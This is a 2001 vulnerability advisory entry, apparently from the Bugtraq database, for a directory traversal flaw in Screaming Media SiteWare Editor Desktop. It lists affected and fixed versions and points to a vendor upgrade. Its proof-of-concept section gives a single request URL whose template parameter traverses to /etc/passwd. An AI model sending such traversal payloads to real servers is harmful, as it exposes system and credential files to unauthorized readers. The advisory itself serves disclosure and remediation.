SiteWare Editor Desktop Directory Traversal Vulnerability

BID:2868

Info

SiteWare Editor Desktop Directory Traversal Vulnerability

Bugtraq ID: 2868
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jun 13 2001 12:00AM
Updated: Jun 13 2001 12:00AM
Credit: This vulnerability was reported to BugTraq on June 11th, 2001 by Foundstone Labs <[email protected]>.
Vulnerable: Screaming Media SiteWare 3.1
Screaming Media SiteWare 3.0 2
Screaming Media SiteWare 3.0 1
Screaming Media SiteWare 3.0
Screaming Media SiteWare 2.5 01
Screaming Media SiteWare 2.5
Not Vulnerable: Screaming Media SiteWare 3.1.1
Screaming Media SiteWare 2.5.1

Exploit / POC

SiteWare Editor Desktop Directory Traversal Vulnerability

An example was provided by Foundstone Labs <[email protected]>:


From a browser, make the following URL request:

http://server:port/SWEditServlet?station_path=Z&publication_id=2043&template=../../../../../../../etc/passwd

Solution / Fix

SiteWare Editor Desktop Directory Traversal Vulnerability

Solution:
The vendor has released a free software upgrade to address this issue and should be contacted at:
<[email protected]>

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